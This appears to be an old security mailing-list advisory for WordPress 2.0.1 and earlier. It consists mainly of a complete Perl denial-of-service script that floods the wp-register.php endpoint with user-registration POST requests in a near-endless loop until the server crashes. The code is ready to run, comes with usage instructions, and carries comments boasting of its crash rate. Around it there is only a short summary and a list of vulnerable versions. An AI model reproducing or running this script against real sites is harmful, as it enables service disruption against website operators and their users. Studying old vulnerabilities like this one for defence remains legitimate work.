[EXPL] WordPress DoS (Exploit)

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WordPress DoS (Exploit)
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SUMMARY

" <http://wordpress.org/> WordPress is a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability."

DETAILS

Vulnerable Systems:
* Wordpress versions 2.0.1 and prior.

Exploit:
#!perl
#Greets to all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all
dudes from #DevilDev ;)
#The exploit was tested on 10 machines but not all got flooded.Only 6/10
got crashed
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg; #no http://
for ($i=0;
$i<9999999999999999999999999999999999999999999999999999999999999999999999;
$i++) #0_o :)
{
$user="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x66\x6f\x6f".$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
$data =
"action=register&user_login=$user&user_email=$user\@matrix.org&submit=Register+%C2%BB";
$len = length $data;
$foo = "POST ".$dir."wp-register.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+";
}
#s33 if the server is down
print "\n\n";
system('ping $host');
sub usage {
print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y
matrix_killer\n";
print "\te-mail: matrix_k\@abv.bg\n";
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /wordpress/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
exit();
};


ADDITIONAL INFORMATION

The original article can be found at:
<http://www.h4cky0u.org/advisories/HYSA-2006-005-wordpress.txt>
http://www.h4cky0u.org/advisories/HYSA-2006-005-wordpress.txt



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